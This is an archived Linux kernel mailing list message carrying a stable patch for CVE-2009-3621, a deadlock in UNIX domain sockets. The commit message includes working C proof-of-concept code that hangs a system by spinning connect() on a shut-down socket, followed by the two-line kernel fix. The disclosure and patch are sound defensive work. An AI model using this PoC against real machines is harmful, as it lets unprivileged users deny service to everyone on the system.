From: Greg KH <gregkh@suse.de>
To: linux-kernel@vger.kernel.org, stable@kernel.org
Cc: stable-review@kernel.org, torvalds@linux-foundation.org,
akpm@linux-foundation.org, alan@lxorguk.ukuu.org.uk,
Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>,
Masanori Yoshida <masanori.yoshida.tv@hitachi.com>,
Chuck Ebbert <cebbert@redhat.com>,
"David S. Miller" <davem@davemloft.net>
Subject: [16/30] AF_UNIX: Fix deadlock on connecting to shutdown socket (CVE-2009-3621)
Date: Fri, 06 Nov 2009 13:56:19 -0800 [thread overview]
Message-ID: <20091106215952.100901703@mini.kroah.org> (raw)
In-Reply-To: <20091106220156.GA13813@kroah.com>
[-- Attachment #1: af_unix-fix-deadlock-on-connecting-to-shutdown-socket-cve-2009-3621.patch --]
[-- Type: text/plain, Size: 2633 bytes --]
2.6.29-stable review patch. If anyone has any objections, please let us know.
------------------
From: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
commit 77238f2b942b38ab4e7f3aced44084493e4a8675 upstream.
I found a deadlock bug in UNIX domain socket, which makes able to DoS
attack against the local machine by non-root users.
How to reproduce:
1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
namespace(*), and shutdown(2) it.
2. Repeat connect(2)ing to the listening socket from the other sockets
until the connection backlog is full-filled.
3. connect(2) takes the CPU forever. If every core is taken, the
system hangs.
PoC code: (Run as many times as cores on SMP machines.)
int main(void)
{
int ret;
int csd;
int lsd;
struct sockaddr_un sun;
/* make an abstruct name address (*) */
memset(&sun, 0, sizeof(sun));
sun.sun_family = PF_UNIX;
sprintf(&sun.sun_path[1], "%d", getpid());
/* create the listening socket and shutdown */
lsd = socket(AF_UNIX, SOCK_STREAM, 0);
bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
listen(lsd, 1);
shutdown(lsd, SHUT_RDWR);
/* connect loop */
alarm(15); /* forcely exit the loop after 15 sec */
for (;;) {
csd = socket(AF_UNIX, SOCK_STREAM, 0);
ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
if (-1 == ret) {
perror("connect()");
break;
}
puts("Connection OK");
}
return 0;
}
(*) Make sun_path[0] = 0 to use the abstruct namespace.
If a file-based socket is used, the system doesn't deadlock because
of context switches in the file system layer.
Why this happens:
Error checks between unix_socket_connect() and unix_wait_for_peer() are
inconsistent. The former calls the latter to wait until the backlog is
processed. Despite the latter returns without doing anything when the
socket is shutdown, the former doesn't check the shutdown state and
just retries calling the latter forever.
Patch:
The patch below adds shutdown check into unix_socket_connect(), so
connect(2) to the shutdown socket will return -ECONREFUSED.
Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@hitachi.com>
Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@hitachi.com>
Cc: Chuck Ebbert <cebbert@redhat.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
---
net/unix/af_unix.c | 2 ++
1 file changed, 2 insertions(+)
--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1061,6 +1061,8 @@ restart:
err = -ECONNREFUSED;
if (other->sk_state != TCP_LISTEN)
goto out_unlock;
+ if (other->sk_shutdown & RCV_SHUTDOWN)
+ goto out_unlock;
if (unix_recvq_full(other)) {
err = -EAGAIN;
next prev parent reply other threads:[~2009-11-06 22:09 UTC|newest]
Thread overview: 31+ messages / expand[flat|nested] mbox.gz Atom feed top
[not found] <20091106215603.413650799@mini.kroah.org>
2009-11-06 22:01 ` [00/30] 2.6.27.39-stable review Greg KH
2009-11-06 21:56 ` [01/30] 8250_pci: add IBM Saturn serial card Greg KH
2009-11-06 21:56 ` [02/30] b43: Fix Bugzilla #14181 and the bug from the previous fix Greg KH
2009-11-06 21:56 ` [03/30] dpt_i2o: Fix up copy*user Greg KH
2009-11-06 21:56 ` [04/30] dpt_i2o: Fix typo of EINVAL Greg KH
2009-11-06 21:56 ` [05/30] Driver core: fix driver_register() return value Greg KH
2009-11-06 21:56 ` [06/30] fs: pipe.c null pointer dereference Greg KH
2009-11-06 21:56 ` [07/30] hfsplus: refuse to mount volumes larger than 2TB Greg KH
2009-11-06 21:56 ` [08/30] Input: synaptics - add another Protege M300 to rate blacklist Greg KH
2009-11-06 21:56 ` [09/30] libata: fix internal command failure handling Greg KH
2009-11-06 21:56 ` [10/30] libertas if_usb: Fix crash on 64-bit machines Greg KH
2009-11-06 21:56 ` [11/30] mbind(): fix leak of never putback pages Greg KH
2009-11-06 21:56 ` [12/30] ray_cs: Fix copy_from_user handling Greg KH
2009-11-06 21:56 ` [13/30] Revert "ACPI: Attach the ACPI device to the ACPI handle as early as possible" Greg KH
2009-11-06 21:56 ` [14/30] tty: Mark generic_serial users as BROKEN Greg KH
2009-11-06 21:56 ` [15/30] x86-64: Fix register leak in 32-bit syscall audting Greg KH
2009-11-06 21:56 ` Greg KH [this message]
2009-11-06 21:56 ` [17/30] appletalk: Fix skb leak when ipddp interface is not loaded (CVE-2009-2903) Greg KH
2009-11-06 21:56 ` [18/30] netlink: fix typo in initialization (CVE-2009-3612) Greg KH
2009-11-06 21:56 ` [19/30] KVM: Prevent overflow in KVM_GET_SUPPORTED_CPUID (CVE-2009-3638) Greg KH
2009-11-06 21:56 ` [20/30] irda: Add irda_skb_cb qdisc related padding Greg KH
2009-11-06 21:56 ` [21/30] nfs: Panic when commit fails Greg KH
2009-11-06 21:56 ` [22/30] NFSv4: Fix a bug when the server returns NFS4ERR_RESOURCE Greg KH
2009-11-06 21:56 ` [23/30] nfs: Avoid overrun when copying client IP address string Greg KH
2009-11-06 21:56 ` [24/30] NFSv4: Kill nfs4_renewd_prepare_shutdown() Greg KH
2009-11-06 21:56 ` [25/30] NFSv4: Fix a problem whereby a buggy server can oops the kernel Greg KH
2009-11-06 21:56 ` [26/30] NFSv4: The link() operation should return any delegation on the file Greg KH
2009-11-06 21:56 ` [27/30] printk: robustify printk Greg KH
2009-11-06 21:56 ` [28/30] bonding: fix a race condition in calls to slave MII ioctls Greg KH
2009-11-06 21:56 ` [29/30] x86/amd-iommu: Un__init function required on shutdown Greg KH
2009-11-06 21:56 ` [30/30] x86/amd-iommu: Workaround for erratum 63 Greg KH
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20091106215952.100901703@mini.kroah.org \
--to=gregkh@suse.de \
--cc=akpm@linux-foundation.org \
--cc=alan@lxorguk.ukuu.org.uk \
--cc=cebbert@redhat.com \
--cc=davem@davemloft.net \
--cc=linux-kernel@vger.kernel.org \
--cc=masanori.yoshida.tv@hitachi.com \
--cc=stable-review@kernel.org \
--cc=stable@kernel.org \
--cc=tomoki.sekiyama.qu@hitachi.com \
--cc=torvalds@linux-foundation.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox